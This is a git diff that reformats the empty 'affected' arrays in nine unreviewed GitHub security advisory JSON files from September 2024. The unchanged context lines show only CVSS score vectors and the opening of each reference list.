a/advisories/unreviewed/2024/09/GHSA-j2p5-fvjc-rrwc/GHSA-j2p5-fvjc-rrwc.json b/advisories/unreviewed/2024/09/GHSA-j2p5-fvjc-rrwc/GHSA-j2p5-fvjc-rrwc.json index 19b4ed37b29..25924f327c5 100644 --- a/advisories/unreviewed/2024/09/GHSA-j2p5-fvjc-rrwc/GHSA-j2p5-fvjc-rrwc.json +++ b/advisories/unreviewed/2024/09/GHSA-j2p5-fvjc-rrwc/GHSA-j2p5-fvjc-rrwc.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/09/GHSA-jmwj-mmwj-qm9h/GHSA-jmwj-mmwj-qm9h.json b/advisories/unreviewed/2024/09/GHSA-jmwj-mmwj-qm9h/GHSA-jmwj-mmwj-qm9h.json index 2c9b4b1cdd6..54dc0aca1b4 100644 --- a/advisories/unreviewed/2024/09/GHSA-jmwj-mmwj-qm9h/GHSA-jmwj-mmwj-qm9h.json +++ b/advisories/unreviewed/2024/09/GHSA-jmwj-mmwj-qm9h/GHSA-jmwj-mmwj-qm9h.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/09/GHSA-mfmc-fmc9-6ph8/GHSA-mfmc-fmc9-6ph8.json b/advisories/unreviewed/2024/09/GHSA-mfmc-fmc9-6ph8/GHSA-mfmc-fmc9-6ph8.json index 7993b5c12fd..9450f4af113 100644 --- a/advisories/unreviewed/2024/09/GHSA-mfmc-fmc9-6ph8/GHSA-mfmc-fmc9-6ph8.json +++ b/advisories/unreviewed/2024/09/GHSA-mfmc-fmc9-6ph8/GHSA-mfmc-fmc9-6ph8.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/09/GHSA-r6vj-38w8-wv4c/GHSA-r6vj-38w8-wv4c.json b/advisories/unreviewed/2024/09/GHSA-r6vj-38w8-wv4c/GHSA-r6vj-38w8-wv4c.json index 62f6330fa08..779cf108672 100644 --- a/advisories/unreviewed/2024/09/GHSA-r6vj-38w8-wv4c/GHSA-r6vj-38w8-wv4c.json +++ b/advisories/unreviewed/2024/09/GHSA-r6vj-38w8-wv4c/GHSA-r6vj-38w8-wv4c.json @@ -17,9 +17,7 @@ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/09/GHSA-rcrr-hgw3-crch/GHSA-rcrr-hgw3-crch.json b/advisories/unreviewed/2024/09/GHSA-rcrr-hgw3-crch/GHSA-rcrr-hgw3-crch.json index 3a1aaeb350c..9c813048fe3 100644 --- a/advisories/unreviewed/2024/09/GHSA-rcrr-hgw3-crch/GHSA-rcrr-hgw3-crch.json +++ b/advisories/unreviewed/2024/09/GHSA-rcrr-hgw3-crch/GHSA-rcrr-hgw3-crch.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/09/GHSA-rw7g-4966-p363/GHSA-rw7g-4966-p363.json b/advisories/unreviewed/2024/09/GHSA-rw7g-4966-p363/GHSA-rw7g-4966-p363.json index c73a0babc33..34db39ff0fe 100644 --- a/advisories/unreviewed/2024/09/GHSA-rw7g-4966-p363/GHSA-rw7g-4966-p363.json +++ b/advisories/unreviewed/2024/09/GHSA-rw7g-4966-p363/GHSA-rw7g-4966-p363.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/09/GHSA-wp4r-c6wp-5m5q/GHSA-wp4r-c6wp-5m5q.json b/advisories/unreviewed/2024/09/GHSA-wp4r-c6wp-5m5q/GHSA-wp4r-c6wp-5m5q.json index 75b33cf8726..0b90d83c7d8 100644 --- a/advisories/unreviewed/2024/09/GHSA-wp4r-c6wp-5m5q/GHSA-wp4r-c6wp-5m5q.json +++ b/advisories/unreviewed/2024/09/GHSA-wp4r-c6wp-5m5q/GHSA-wp4r-c6wp-5m5q.json @@ -17,9 +17,7 @@ "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/09/GHSA-wvf7-c4v8-cmj9/GHSA-wvf7-c4v8-cmj9.json b/advisories/unreviewed/2024/09/GHSA-wvf7-c4v8-cmj9/GHSA-wvf7-c4v8-cmj9.json index 97bd9e8e80b..ed5f8c2f9af 100644 --- a/advisories/unreviewed/2024/09/GHSA-wvf7-c4v8-cmj9/GHSA-wvf7-c4v8-cmj9.json +++ b/advisories/unreviewed/2024/09/GHSA-wvf7-c4v8-cmj9/GHSA-wvf7-c4v8-cmj9.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2024/09/GHSA-wwxq-g564-5hhr/GHSA-wwxq-g564-5hhr.json b/advisories/unreviewed/2024/09/GHSA-wwxq-g564-5hhr/GHSA-wwxq-g564-5hhr.json index 5b48e49cad7..6654f7b1df0 100644 --- a/advisories/unreviewed/2024/09/GHSA-wwxq-g564-5hhr/GHSA-wwxq-g564-5hhr.json +++ b/advisories/unreviewed/2024/09/GHSA-wwxq-g564-5hhr/GHSA-wwxq-g564-5hhr.json @@ -13,9 +13,7 @@ "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H" } ], - "affected": [ - - ], + "affected": [], "references": [ { "type": "ADVISORY",